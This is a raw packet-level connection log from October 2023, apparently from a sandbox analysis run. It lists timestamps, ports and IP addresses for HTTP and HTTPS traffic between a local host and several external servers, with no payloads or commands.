Oct 13, 2023 16:05:56.301678896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301695108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301728964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301765919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301810026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301815987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301884890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301898956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301924944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301934004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301973104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302037954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302083969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302108049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302150965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302166939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302207947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302237988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302274942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302288055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302330017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302352905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302396059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302402973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302447081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302474022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302515984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302520037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302561045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302593946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302635908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302659988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302695990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302697897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302746058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302767038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302808046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302833080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302879095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302903891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.302942991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.302968025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303010941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303035975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303078890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303152084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303177118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303184986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303189039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303222895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303342104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303380966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303457022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303502083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303519964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303558111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303566933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303606033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303646088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303689957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303704977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303745031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303780079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303822994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303824902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303863049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303898096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303944111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303946018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.303982019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.303991079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304013968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304029942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304065943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304071903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304115057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304151058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304198027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304249048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304299116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304384947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304439068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304440975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304485083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304522038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304562092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304564953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304598093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304631948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304645061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304676056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304687977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304716110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304759026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304784060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304826975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304831982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304868937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304886103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304896116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304924965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.304933071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.304970980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.305213928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.305255890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.305279970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.305322886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.305382013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.305419922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.305455923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.305500984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.305525064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.305565119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.305572987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.305609941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.312062025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.579626083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.579643011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.579680920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.579706907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.579746008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.579885006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.579898119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.579952955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.579982996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.579998016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.580038071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.580056906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.580064058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.580140114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.580214024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.580328941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.580373049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.580456018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.580543041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.580969095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.860534906 CEST	80	49746	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:56.864320040 CEST	49746	80	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:56.864320040 CEST	49746	80	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:56.923743963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.976166010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:57.041631937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:57.041676998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:57.384377956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:57.401686907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:57.445107937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:57.501535892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:57.501590014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:57.601393938 CEST	49746	80	192.168.2.4	91.215.85.209
Oct 13, 2023 16:05:57.844523907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:57.861557007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:57.887203932 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:57.913692951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:57.946163893 CEST	80	49746	91.215.85.209	192.168.2.4
Oct 13, 2023 16:05:58.512970924 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:58.513010979 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:58.513109922 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:58.535680056 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:58.535707951 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:58.839652061 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:58.839754105 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:58.839864016 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:58.840816021 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:58.840864897 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:58.873409033 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:58.873553991 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:58.898061991 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.105727911 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.105777025 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.106780052 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.106925964 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.112534046 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.154474974 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.250058889 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.250143051 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.250469923 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.601617098 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602034092 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602087975 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602173090 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.602257967 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602282047 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602365017 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602436066 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602452993 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.602471113 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602497101 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.602515936 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602560043 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.602622986 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602669954 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.602718115 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.695810080 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.695967913 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.695983887 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.696033955 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.696038961 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.696083069 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.696096897 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.696149111 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.696152925 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.696197033 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.696225882 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.696278095 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.716368914 CEST	49765	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:05:59.716384888 CEST	443	49765	104.21.65.24	192.168.2.4
Oct 13, 2023 16:05:59.810030937 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:59.810297012 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:59.812082052 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:59.812097073 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:59.812429905 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:59.814270973 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:05:59.858449936 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:05:59.956315041 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.962405920 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.962450027 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.974703074 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.987763882 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:05:59.987819910 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:05:59.999754906 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.011785984 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.011852026 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.024301052 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.036119938 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.036192894 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.048424959 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.061196089 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.061249971 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.073128939 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.085645914 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.085706949 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.098269939 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.110111952 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.110162020 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.122384071 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.134802103 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.134964943 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.147053003 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.159214973 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.159265041 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.171936989 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.183831930 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.183891058 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.313611031 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.319747925 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.319844961 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.331954002 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.344151020 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.344208002 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.356566906 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.368803024 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.368855953 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.381232023 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.394010067 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.394078970 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.409533024 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.418065071 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.418179989 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.430313110 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.443036079 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.443095922 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.455303907 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.467303991 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.467355013 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.480640888 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.491889954 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.491949081 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.503822088 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.515464067 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.515535116 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.526160955 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.537086964 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.537133932 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.547502041 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.557517052 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.557573080 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.568932056 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.577707052 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.577781916 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.588370085 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.598196983 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.598269939 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.608350992 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.618551016 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.618642092 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.628918886 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.639050007 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.639133930 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.649331093 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.659337044 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.659395933 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.670238972 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.679965019 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.680002928 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.680088043 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.692269087 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.692318916 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.692334890 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.705133915 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.705209017 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.705485106 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.717679024 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.717751026 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.717751980 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.729655981 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.729751110 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.729823112 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.742222071 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.742275000 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.742307901 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.755208015 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.755225897 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.755306005 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.756259918 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756272078 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756297112 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756391048 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:06:00.756414890 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756463051 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756467104 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:06:00.756477118 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756494999 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756517887 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:06:00.756546974 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:06:00.756551027 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756583929 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.756593943 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:06:00.756629944 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:06:00.764293909 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:06:00.764306068 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.764343023 CEST	49766	443	192.168.2.4	40.68.123.157
Oct 13, 2023 16:06:00.764348030 CEST	443	49766	40.68.123.157	192.168.2.4
Oct 13, 2023 16:06:00.770451069 CEST	80	49764	79.137.192.18	192.168.2.4
